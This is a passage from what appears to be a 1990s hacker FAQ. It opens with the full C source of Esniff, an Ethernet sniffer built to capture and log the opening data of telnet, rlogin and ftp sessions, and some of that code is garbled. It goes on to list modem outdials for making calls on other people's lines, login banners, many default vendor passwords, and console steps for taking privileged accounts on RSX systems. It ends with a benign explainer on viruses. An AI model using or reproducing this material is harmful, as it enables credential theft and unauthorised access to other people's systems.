                Netzhack           /* Available via anonymous ftp at        */
                                   /* mistress.informatik.unibw-muenchen.de */
                                   /* /pub/netzhack.mac                     */
Macintosh       Etherpeek

Here is source code for a sample ethernet sniffer:

/* Esniff.c */

#include 
#include 
#include 

#include 
#include 
#include 
#include 
#include 
#include 
#include 

#include 
#include 
#include 
#include 

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#include 
#include 

#define ERR stderr

char    *malloc();
char    *device,
        *ProgName,
        *LogName;
FILE    *LOG;
int     debug=0;

#define NIT_DEV     "/dev/nit"
#define CHUNKSIZE   4096        /* device buffer size */
int     if_fd = -1;
int     Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
  exit(err); }

void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
  exit(err); }

#define IP          ((struct ip *)Packet)
#define IP_OFFSET   (0x1FFF)
#define SZETH       (sizeof(struct ether_header))
#define IPLEN       (ntohs(ip->ip_len))
#define IPHLEN      (ip->ip_hl)
#define TCPOFF      (tcph->th_off)
#define IPS         (ip->ip_src)
#define IPD         (ip->ip_dst)
#define TCPS        (tcph->th_sport)
#define TCPD        (tcph->th_dport)
#define IPeq(s,t)   ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN  (128)
time_t  LastTIME = 0;

struct CREC {
     struct CREC *Next,
                 *Last;
     time_t  Time;              /* start time */
     struct in_addr SRCip,
                    DSTip;
     u_int   SRCport,           /* src/dst ports */
             DSTport;
     u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
     u_int   Length;            /* current data length */
     u_int   PKcnt;             /* # pkts */
     u_long  LASTseq;
};

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
      gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

  return( (he)?(he->h_name):(inet_ntoa(ip)) );
}

char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

  SFL(0,TH_FIN, 'F');
  SFL(1,TH_SYN, 'S');
  SFL(2,TH_RST, 'R');
  SFL(3,TH_PUSH,'P');
  SFL(4,TH_ACK, 'A');
  SFL(5,TH_URG, 'U');
  iobuf[6]=0;
  return(iobuf);
}

char *SERVp(port)
register u_int port;
{ static char buf[10];
  register char *p;

   switch(port) {
     case IPPORT_LOGINSERVER: p="rlogin"; break;
     case IPPORT_TELNET:      p="telnet"; break;
     case IPPORT_SMTP:        p="smtp"; break;
     case IPPORT_FTP:         p="ftp"; break;
     default: sprintf(buf,"%u",port); p=buf; break;
   }
   return(p);
}

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
  p[strlen(p)-6]=0; /* strip " YYYY\n" */
  return(p);
}

char *NOWtm()
{ time_t tm;
  time(&tm);
  return( Ptm(&tm) );
}

#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  register struct CREC *CLtmp = \
        (struct CREC *)malloc(sizeof(struct CREC)); \
  time( &(CLtmp->Time) ); \
  CLtmp->SRCip.s_addr = SIP.s_addr; \
  CLtmp->DSTip.s_addr = DIP.s_addr; \
  CLtmp->SRCport = SPORT; \
  CLtmp->DSTport = DPORT; \
  CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  CLtmp->PKcnt = 1; \
  CLtmp->Next = CLroot; \
  CLtmp->Last = NULL; \
  CLroot = CLtmp; \
}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

  while(CLr != NULL) {
    if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
        IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
            break;
    CLr = CLr->Next;
  }
  return(CLr);
}

#define ADDDATA_NODE(CL,DATA,LEN) { \
 bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
 CL->Length += LEN; \
}

#define PR_DATA(dp,ln) {    \
  register u_char lastc=0; \
  while(ln-- >0) { \
     if(*dp < 32) {  \
        switch(*dp) { \
            case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
                        break; \
            case '\r': \
            case '\n': fprintf(LOG,"\n     : "); \
                        break; \
            default  : fprintf(LOG,"^%c", (*dp + 64)); \
                        break; \
        } \
     } else { \
        if(isprint(*dp)) fputc(*dp,LOG); \
        else fprintf(LOG,"(%d)",*dp); \
     } \
     lastc = *dp++; \
  } \
  fflush(LOG); \
}

void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
   fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
   fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
   fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
   fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
                        NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
   fprintf(LOG," DATA: ");
    { register u_int i = CLe->Length;
      register u_char *p = CLe->Data;
      PR_DATA(p,i);
      PR_DATA(d,dl);
    }

   fprintf(LOG,"\n-- \n");
   fflush(LOG);

   if(CLe->Next != NULL)
    CLe->Next->Last = CLe->Last;
   if(CLe->Last != NULL)
    CLe->Last->Next = CLe->Next;
   else
    CLroot = CLe->Next;
   free(CLe);
}

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
  time_t tm; \
  time(&tm); \
  if(LastTIMENext; \
       if(CLe->Time ether_type);

   if(EtherType < 0x600) {
     EtherType = *(u_short *)(cp + SZETH + 6);
     cp+=8; pktlen-=8;
   }

   if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
      return;
 }

    /* ugh, gotta do an alignment :-( */
 bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

 ip = (struct ip *)Packet;
 if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
    return;
 tcph = (struct tcphdr *)(Packet + IPHLEN);

 if(!( (TCPD == IPPORT_TELNET) ||
       (TCPD == IPPORT_LOGINSERVER) ||
       (TCPD == IPPORT_FTP)
   )) return;

 { register struct CREC *CLm;
   register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
   register u_char *p = (u_char *)Packet;

   p += ((IPHLEN * 4) + (TCPOFF * 4));

 if(debug) {
  fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
 }

   if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

      CLm->PKcnt++;

      if(length>0)
        if( (CLm->Length + length) < MAXBUFLEN ) {
          ADDDATA_NODE( CLm, p,length);
        } else {
          END_NODE( CLm, p,length, "DATA LIMIT");
        }

      if(TCPFL(TH_FIN|TH_RST)) {
          END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
      }

   } else {

      if(TCPFL(TH_SYN)) {
         ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
      }

   }

   IDLE_NODE();

 }

}

/* signal handler
 */
void death()
{ register struct CREC *CLe;

    while(CLe=CLroot)
        END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

    fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
    fflush(LOG);
    if(LOG != stdout)
        fclose(LOG);
    exit(1);
}

/* opens network interface, performs ioctls and reads from it,
 * passing data to filter function
 */
void do_it()
{
    int cc;
    char *buf;
    u_short sp_ts_len;

    if(!(buf=malloc(CHUNKSIZE)))
        Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */
  {
    struct strioctl si;
    struct ifreq    ifr;
    struct timeval  timeout;
    u_int  chunksize = CHUNKSIZE;
    u_long if_flags  = NI_PROMISC;

    if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
        Pexit(1,"Eth: nit open");

    if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
        Pexit(1,"Eth: ioctl (I_SRDOPT)");

    si.ic_timout = INFTIM;

    if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
        Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

    timeout.tv_sec = 1;
    timeout.tv_usec = 0;
    si.ic_cmd = NIOCSTIME;
    si.ic_len = sizeof(timeout);
    si.ic_dp  = (char *)&timeout;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

    si.ic_cmd = NIOCSCHUNK;
    si.ic_len = sizeof(chunksize);
    si.ic_dp  = (char *)&chunksize;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

    strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
    ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
    si.ic_cmd = NIOCBIND;
    si.ic_len = sizeof(ifr);
    si.ic_dp  = (char *)𝔦
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

    si.ic_cmd = NIOCSFLAGS;
    si.ic_len = sizeof(if_flags);
    si.ic_dp  = (char *)&if_flags;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

    if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
        Pexit(1,"Eth: ioctl (I_FLUSH)");
  }

    while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
        register char *bp = buf,
                      *bufstop = (buf + cc);

        while (bp < bufstop) {
            register char *cp = bp;
            register struct nit_bufhdr *hdrp;

            hdrp = (struct nit_bufhdr *)cp;
            cp += sizeof(struct nit_bufhdr);
            bp += hdrp->nhb_totlen;
            filter(cp, (u_long)hdrp->nhb_msglen);
        }
    }
    Pexit((-1),"Eth: read");
}
 /* Authorize your program, generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()
{ char *buf,*getpass(),*crypt();
  char pwd[21],prmpt[81];

    strcpy(pwd,AUTHPASSWD);
    sprintf(prmpt,"(%s)UP? ",ProgName);
    buf=getpass(prmpt);
    if(strcmp(pwd,crypt(buf,pwd)))
        exit(1);
}
    */
void main(argc, argv)
int argc;
char **argv;
{
    char   cbuf[BUFSIZ];
    struct ifconf ifc;
    int    s,
           ac=1,
           backg=0;

    ProgName=argv[0];

 /*     getauth(); */

    LOG=NULL;
    device=NULL;
    while((acifr_name;
    }

    fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
    fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
            (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

    if(!LOG)
        LOG=stdout;

    signal(SIGINT, death);
    signal(SIGTERM,death);
    signal(SIGKILL,death);
    signal(SIGQUIT,death);

    if(backg && debug) {
         fprintf(ERR,"[Cannot bg with debug on]\n");
         backg=0;
    }

    if(backg) {
        register int s;

        if((s=fork())>0) {
           fprintf(ERR,"[pid %d]\n",s);
           exit(0);
        } else if(s<0)
           Pexit(1,"fork");

        if( (s=open("/dev/tty",O_RDWR))>0 ) {
                ioctl(s,TIOCNOTTY,(char *)NULL);
                close(s);
        }
    }
    fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
    fflush(LOG);

    do_it();
}

20. What is an Internet Outdial?

An Internet outdial is a modem connected to the Internet than you can
use to dial out.  Normal outdials will only call local numbers.  A GOD
(Global OutDial) is capable of calling long distance.  Outdials are an
inexpensive method of calling long distance BBS's.

21. What are some Internet Outdials?

This FAQ answer is excerpted from CoTNo #5:

                        Internet Outdial List v3.0
                         by Cavalier and DisordeR

Introduction
------------
There are several lists of Internet outdials floating around the net these
days. The following is a compilation of other lists, as well as v2.0 by
DeadKat(CoTNo issue 2, article 4). Unlike other lists where the author
just ripped other people and released it, we have sat down and tested
each one of these. Some of them we have gotten "Connection Refused" or
it timed out while trying to connect...these have been labeled dead.

                           Working Outdials
                           ----------------
                            as of 12/29/94

  NPA          IP Address                   Instructions
  ---          ----------                   ------------
  215          isn.upenn.edu                modem

  217          dialout.cecer.army.mil       atdt x,xxxXXXXX

  218          modem.d.umn.edu              atdt9,xxxXXXX

  303          yuma.acns.colostate.edu 3020

  412          myriad.pc.cc.cmu.edu 2600    Press D at the prompt

  412          gate.cis.pitt.edu            tn3270,
                                            connect dialout.pitt.edu,
                                            atdtxxxXXXX

  413          dialout2400.smith.edu        Ctrl } gets ENTER NUMBER: xxxxxxx

  502          outdial.louisville.edu

  502          uknet.uky.edu                connect kecnet
                                            @ dial: "outdial2400 or out"

  602          acssdial.inre.asu.edu        atdt8,,,,,[x][yyy]xxxyyyy

  614          ns2400.acs.ohio-state.edu

  614          ns9600.acs.ohio-state.edu

  713          128.249.27.153               atdt x,xxxXXXX

  714          modem.nts.uci.edu            atdt[area]0[phone]

  804          ublan.virginia.edu           connect hayes, 9,,xxx-xxxx

  804          ublan2.acc.virginia.edu      connect telnet
                                            connect hayes

                             Need Password
                             -------------

  206          rexair.cac.washington.edu    This is an unbroken password
  303          yuma.ACNS.ColoState.EDU      login: modem
  404          128.140.1.239                .modem8|CR
  415          annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1"
  514          cartier.CC.UMontreal.CA      externe,9+number
  703          wal-3000.cns.vt.edu          dial2400 -aa

                            Dead/No Connect
                            ---------------

  201          idsnet
  202          modem.aidt.edu
  204          dial.cc.umanitoba.ca
  204          umnet.cc.manitoba.ca         "dial12" or "dial24"
  206          dialout24.cac.washington.edu
  207          modem-o.caps.maine.edu
  212          B719-7e.NYU.EDU              dial3/dial12/dial24
  212          B719-7f.NYU.EDU              dial3/dial12/dial24
  212          DIALOUT-1.NYU.EDU            dial3/dial12/dial24
  212          FREE-138-229.NYU.EDU         dial3/dial12/dial24
  212          UP19-4b.NYU.EDU              dial3/dial12/dial24
  215          wiseowl.ocis.temple.edu      "atz" "atdt 9xxxyyyy"
  218          aa28.d.umn.edu               "cli" "rlogin modem"
                                            at "login:"  type "modem"
  218          modem.d.umn.edu              Hayes 9,XXX-XXXX
  301          dial9600.umd.edu
  305          alcat.library.nova.edu
  305          office.cis.ufl.edu
  307          modem.uwyo.edu               Hayes  0,XXX-XXXX
  313          35.1.1.6                     dial2400-aa or dial1200-aa
                                            or dialout
  402          dialin.creighton.edu
  402          modem.criegthon.edu
  404          broadband.cc.emory.edu       ".modem8" or ".dialout"
  408          dialout.scu.edu
  408          dialout1200.scu.edu
  408          dialout2400.scu.edu
  408          dialout9600.scu.edu
  413          dialout.smith.edu
  414          modems.uwp.edu
  416          annex132.berkely.edu         atdt 9,,,,, xxx-xxxx
  416          pacx.utcs.utoronto.ca        modem
  503          dialout.uvm.edu
  513          dialout24.afit.af.mil
  513          r596adi1.uc.edu
  514          pacx.CC.UMontreal.CA         externe#9 9xxx-xxxx
  517          engdial.cl.msu.edu
  602          dial9600.telcom.arizona.edu
  603          dialout1200.unh.edu
  604          dial24-nc00.net.ubc.ca
  604          dial24-nc01.net.ubc.ca
  604          dial96-np65.net.ubc.ca
  604          gmodem.capcollege.bc.ca
  604          hmodem.capcollege.bc.ca
  609          128.119.131.11X (X= 1 - 4)   Hayes
  609          129.119.131.11x  (x = 1 to 4)
  609          wright-modem-1.rutgers.edu
  609          wright-modem-2.rutgers.edu
  612          modem_out12e7.atk.com
  612          modem_out24n8.atk.com
  614          ns2400.ircc.ohio-state.edu   "dial"
  615          dca.utk.edu                  dial2400 D 99k #
  615          MATHSUN23.MATH.UTK.EDU       dial 2400  d  99Kxxxxxxx
  616          modem.calvin.edu
  617          128.52.30.3                  2400baud
  617          dialout.lcs.mit.edu
  617          dialout1.princeton.edu
  617          isdn3.Princeton.EDU
  617          jadwingymkip0.Princeton.EDU
  617          lord-stanley.Princeton.EDU
  617          mpanus.Princeton.EDU
  617          mrmodem.wellesley.edu
  617          old-dialout.Princeton.EDU
  617          stagger.Princeton.EDU
  617          sunshine-02.lcs.mit.edu
  617          waddle.Princeton.EDU
  619          128.54.30.1                  atdt [area][phone]
  619          dialin.ucsd.edu              "dialout"
  703          modem_pool.runet.edu
  703          wal-3000.cns.vt.edu
  713          128.249.27.154               "c modem96"  "atdt 9xxx-xxxx"
                                            or "Hayes"
  713          modem12.bcm.tmc.edu
  713          modem24.bcm.tmc.edu
  713          modem24.bcm.tmc.edu
  714          mdmsrv7.sdsu.edu             atdt 8xxx-xxxx
  714          modem24.nts.uci.edu
  714          pub-gopher.cwis.uci.edu
  801          dswitch.byu.edu              "C Modem"
  808          irmodem.ifa.hawaii.edu
  902          star.ccs.tuns.ca             "dialout"
  916          129.137.33.72
  916          cc-dnet.ucdavis.edu          connect hayes/dialout
  916          engr-dnet1.engr.ucdavis.edu  UCDNET  C KEYCLUB 
  ???          128.119.131.11X              (1 - 4)
  ???          128.200.142.5
  ???          128.54.30.1                  nue, X to discontinue, ? for Help
  ???          128.6.1.41
  ???          128.6.1.42
  ???          129.137.33.72
  ???          129.180.1.57
  ???          140.112.3.2                  ntu            
  ???          annexdial.rz.uni-duesseldorf.de
  ???          dial96.ncl.ac.uk
  ???          dialout.plk.af.mil
  ???          ee21.ee.ncu.edu.tw           cs8005
  ???          im.mgt.ncu.edu.tw            guest           
  ???          modem.cis.uflu.edu
  ???          modem.ireq.hydro.qc.ca
  ???          modems.csuohio.edu
  ???          sparc20.ncu.edu.tw           u349633
  ???          sun2cc.nccu.edu.tw           ?
  ???          ts-modem.une.oz.au
  ???          twncu865.ncu.edu.tw          guest           
  ???          vtnet1.cns.ut.edu            "CALL" or "call"

Conclusion
----------
If you find any of the outdials to have gone dead, changed commands,
or require password, please let us know so we can keep this list as
accurate as possible. If you would like to add to the list, feel free
to mail us and it will be included in future versions of this list,
with your name beside it. Have fun...

[Editors note: Updates have been made to this document after
               the original publication]

22. What is this system?

AIX
~~~
IBM AIX Version 3 for RISC System/6000
(C) Copyrights by IBM and by others 1982, 1990.
login:

[You will know an AIX system because it is the only Unix system that]
[clears the screen and issues a login prompt near the bottom of the]
[screen]

AS/400
~~~~~~
UserID?
Password?

Once in, type GO MAIN

CDC Cyber
~~~~~~~~~
WELCOME TO THE NOS SOFTWARE SYSTEM.
COPYRIGHT CONTROL DATA 1978, 1987.

88/02/16. 02.36.53. N265100
CSUS CYBER 170-730.                     NOS 2.5.2-678/3.
FAMILY:

You would normally just hit return at the family prompt.  Next prompt is:

USER NAME:

CISCO Router
~~~~~~~~~~~~
                             FIRST BANK OF TNO
                           95-866 TNO VirtualBank
                          REMOTE Router -  TN043R1

                                Console Port

                                SN - 00000866

TN043R1>

DECserver
~~~~~~~~~
DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1
DPS502-DS700

(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved

Please type HELP if you need assistance

Enter username> TNO

Local>

Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
MPE XL:
EXPECTED A :HELLO COMMAND. (CIERR 6057)
MPE XL:
EXPECTED [SESSION NAME,] USER.ACCT [,GROUP]   (CIERR 1424)
MPE XL:

GTN
~~~
WELCOME TO CITIBANK. PLEASE SIGN ON.
XXXXXXXX

@
PASSWORD =

@

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

PLEASE ENTER YOUR ID:-1->
PLEASE ENTER YOUR PASSWORD:-2->

CITICORP (CITY NAME). KEY GHELP FOR HELP.
  XXX.XXX
 PLEASE SELECT SERVICE REQUIRED.-3->

Lantronix Terminal Server
~~~~~~~~~~~~~~~~~~~~~~~~~
Lantronix ETS16 Version V3.1/1(940623)

Type HELP at the 'Local_15> ' prompt for assistance.

Login password>

Meridian Mail (Northern Telecom Phone/Voice Mail System)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                            MMM       MMMERIDIAN
                           MMMMM     MMMMM
                         MMMMMM   MMMMMM
                        MMM  MMMMM  MMM     MMMMM     MMMMM
                      MMM   MMM   MMM     MMMMMM   MMMMMM
                     MMM         MMM     MMM MMM MMM MMM
                    MMM         MMM     MMM  MMMMM  MMM
                   MMM         MMM     MMM   MMM   MMM
                  MMM         MMM     MMM         MMM
                 MMM         MMM     MMM         MMM
                MMM         MMM     MMM         MMM
               MMM         MMM     MMM         MMM
              MMM         MMM     MMM         MMM

                                          Copyright (c) Northern Telecom, 1991

Novell ONLAN
~~~~~~~~~~~~
N

[To access the systems it is best to own a copy of ONLAN/PC]

PC-Anywhere
~~~~~~~~~~~
P

[To access the systems it is best to own a copy of PCAnywhere Remote]

PRIMOS
~~~~~~
PRIMENET 19.2.7F PPOA1



ER!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CONNECT
Primenet V 2.3  (system)
LOGIN           (you)
User id?        (system)
SAPB5           (you)
Password?       (system)
DROWSAP         (you)
OK,             (system)

ROLM CBX II
~~~~~~~~~~~
ROLM CBXII  RELEASE 9004.2.34 RB295 9000D IBMHO27568
BIND DATE:  7/APR/93
COPYRIGHT 1980, 1993 ROLM COMPANY.  ALL RIGHTS RESERVED.
ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM COMPANY.
YOU HAVE ENTERED CPU 1
12:38:47 ON WEDNESDAY 2/15/1995

USERNAME: op

PASSWORD:

 INVALID USERNAME-PASSWORD PAIR

ROLM-OSL
~~~~~~~~
MARAUDER10292  01/09/85(^G) 1 03/10/87  00:29:47
RELEASE 8003
OSL, PLEASE.
?

System75
~~~~~~~~
Login: root
INCORRECT LOGIN

Login: browse
Password:

Software Version: G3s.b16.2.2

Terminal Type (513, 4410, 4425): [513]

Tops-10
~~~~~~~
NIH Timesharing

NIH Tri-SMP 7.02-FF  16:30:04 TTY11
system 1378/1381/1453 Connected to Node Happy(40) Line # 12
Please LOGIN
.

VM/370
~~~~~~
VM/370
!

VM/ESA
~~~~~~
VM/ESA ONLINE

                                          TBVM2 VM/ESA Rel 1.1     PUT 9200

Fill in your USERID and PASSWORD and press ENTER
(Your password will not appear when you type it)
USERID   ===>
PASSWORD ===>

COMMAND  ===>

Xylogics Annex Communications Server
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Annex Command Line Interpreter   *   Copyright 1991 Xylogics, Inc.

Checking authorization, Please wait...      -
Annex username: TNO                          - Optional security check
Annex password:                             -  Not always present

Permission granted
annex:

23. What are the default accounts for XXX?

AIX
~~~
guest           guest

AS/400
~~~~~~
qsecofr         qsecofr         /* master security officer */
qsysopr         qsysopr         /* system operator         */
qpgmr           qpgmr           /* default programmer      */

also

ibm             password
ibm             2222
ibm             service
qsecofr         1111111
qsecofr         2222222
qserv           qserv
qsvr            qsvr
secofr          secofr
qsrv            ibmce1

DECserver
~~~~~~~~~
ACCESS
SYSTEM

Dynix (The library software, not the UnixOS)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(Type 'later' to exit to the login prompt)
setup           
library         
circ            

Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
HELLO           MANAGER.SYS
HELLO           MGR.SYS
HELLO           FIELD.SUPPORT     HPUNSUP or SUPPORT or HP
HELLO           OP.OPERATOR
MGR             CAROLIAN
MGR             CCC
MGR             CNAS
MGR             CONV
MGR             COGNOS
OPERATOR        COGNOS
MANAGER         COGNOS
OPERATOR        DISC
MGR             HPDESK
MGR             HPWORD
FIELD           HPWORD
MGR             HPOFFICE
SPOOLMAN        HPOFFICE
ADVMAIL         HPOFFICE
MAIL            HPOFFICE
WP              HPOFFICE
MANAGER         HPOFFICE
MGR             HPONLY
FIELD           HPP187
MGR             HPP187
MGR             HPP189
MGR             HPP196
MGR             INTX3
MGR             ITF3000
MANAGER         ITF3000
MAIL            MAIL
MGR             NETBASE
MGR             REGO
MGR             RJE
MGR             ROBELLE
MANAGER         SECURITY
MGR             SECURITY
FIELD           SERVICE
MANAGER         SYS
MGR             SYS
PCUSER          SYS
RSBCMON         SYS
OPERATOR        SYS
OPERATOR        SYSTEM
FIELD           SUPPORT
OPERATOR        SUPPORT
MANAGER         TCH
MAIL            TELESUP
MANAGER         TELESUP
MGR             TELESUP
SYS             TELESUP
MGE             VESOFT
MGE             VESOFT
MGR             WORD
MGR             XLSERVER

Common jobs are Pub, Sys, Data
Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote

Major BBS
~~~~~~~~~
Sysop           Sysop

Mitel PBX
~~~~~~~~~
SYSTEM

NeXTSTEP
~~~~~~~~
root            NeXT
signa           signa
me                (Rumored to be correct, not checked)

Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
fax             

PICK O/S
~~~~~~~~
DSA             # Desquetop System Administrator
DS
DESQUETOP
PHANTOM

Prolog
~~~~~~
PBX             PBX
NETWORK         NETWORK
NETOP           

Radio Shack Screen Savers
~~~~~~~~~~~~~~~~~~~~~~~~~
RS

Rolm
~~~~
CBX Defaults

op              op
op              operator
su              super
admin           pwp
eng             engineer

PhoneMail Defaults

sysadmin        sysadmin
tech            tech
poll            tech

RSX
~~~
SYSTEM/SYSTEM   (Username SYSTEM, Password SYSTEM)
1,1/system      (Directory [1,1] Password SYSTEM)
BATCH/BATCH
SYSTEM/MANAGER
USER/USER

Default accounts for Micro/RSX:

                MICRO/RSX

Alternately you can hit   when the boot sequence asks you for the
date and create an account using:

                RUN ACNT
            or  RUN $ACNT

(Numbers below 10 {oct} are privileged)

Reboot and wait for the date/time question. Type ^C and at the MCR prompt,
type "abo at." You must include the . dot!

If this works, type "acs lb0:/blks=1000" to get some swap space so the
new step won't wedge.

type " run $acnt" and change the password of any account with a group
number of 7 or less.

You may find that the ^C does not work. Try ^Z and ESC as well.
Also try all 3 as terminators to valid and invalid times.

If none of the above work, use the halt switch to halt the system,
just after a invalid date-time.  Look for a user mode PSW 1[4-7]xxxx.
then deposit 177777 into R6, cross your fingers, write protect the drive
and continue the system.  This will hopefully result in indirect blowing
up...  And hopefully the system has not been fully secured.

SGI Irix
~~~~~~~~
4DGifts         
guest           
demos           
lp              
nuucp           
tour            
tutor           

System 75
~~~~~~~~~
bcim            bcimpw
bciim           bciimpw
bcms            bcmspw, bcms
bcnas           bcnspw
blue            bluepw
browse          looker, browsepw
craft           crftpw, craftpw, crack
cust            custpw
enquiry         enquirypw
field           support
inads           indspw, inadspw, inads
init            initpw
kraft           kraftpw
locate          locatepw
maint           maintpw, rwmaint
nms             nmspw
rcust           rcustpw
support         supportpw
tech            field

Taco Bell
~~~~~~~~~
rgm             rollout
tacobell        


Verifone Junior 2.05
~~~~~~~~~~~~~~~~~~~~
Default password: 166816

VMS
~~~
field           service
systest         utep

XON / XON Junior
~~~~~~~~~~~~~~~~
Default password: 166831

24. What port is XXX on?

The file /etc/services on most Unix machines lists the port
assignments for that machine.  For a complete list of port
assignments, read RFC (Request For Comments) 1700 "Assigned Numbers"

25.  What is a trojan/worm/virus/logic bomb?

This FAQ answer was written by Theora:

Trojan:

Remember the Trojan Horse?  Bad guys hid inside it until they could
get into the city to do their evil deed.  A trojan computer program is
similar.  It is a program which does an unauthorized function, hidden
inside an authorized program.  It does something other than what it
claims to do, usually something malicious (although not necessarily!),
and it is intended by the author to do whatever it does.  If it's not
intentional, its called a 'bug' or, in some cases, a feature :) Some
virus scanning programs detect some trojans.  Some virus scanning
programs don't detect any trojans.  No virus scanners detect all
trojans.

Virus:

A virus is an independent program which reproduces itself.  It may
attach to other programs, it may create copies of itself (as in
companion viruses).  It may damage or corrupt data, change data, or
degrade the performance of your system by utilizing resources such as
memory or disk space.  Some virus scanners detect some viruses.  No
virus scanners detect all viruses.  No virus scanner can protect
against "any and all viruses, known and unknown, now and forevermore".

Worm:

Made famous by Robert Morris, Jr. , worms are programs which reproduce
by copying themselves over and over, system to system, using up
resources and sometimes slowing down the systems.  They are self
contained and use the networks to spread, in much the same way viruses
use files to spread.  Some people say the solution to viruses and
worms is to just not have any files or networks.  They are probably
correct.  We would include computers.

Logic Bomb:

Code which will trigger a particular form of 'attack' when a
designated condition is met.  For instance, a logic bomb could delete
all files on Dec.  5th.  Unlike a virus, a logic bomb does not make
copies of itself.

26.  How can I protect myself from viruses and such?

This FAQ answer was written by Theora:

The most common viruses are boot sector infectors.  You can help protect
yourself against those by write protecting all disks which you do not
need write access to.  Definitely keep a set of write protected floppy
system disks.  If you get a virus, it will make things much simpler.
And, they are good for coasters.  Only kidding.

Scan all incoming files with a recent copy of a good virus scanner.
Among the best are F-Prot, Dr.  Solomon's Anti-virus Toolkit, and
Thunderbyte Anti-Virus.  AVP is also a good program.  Using more than
one scanner could be helpful.  You may get those one or two viruses that
the other guy happened to miss this month.

New viruses come out at the rate of about 8 per day now.  NO scanner can
keep up with them all, but the four mentioned here do the best job of
keeping current.  Any _good_ scanner will detect the majority of common
viruses.  No virus scanner will detect all viruses.

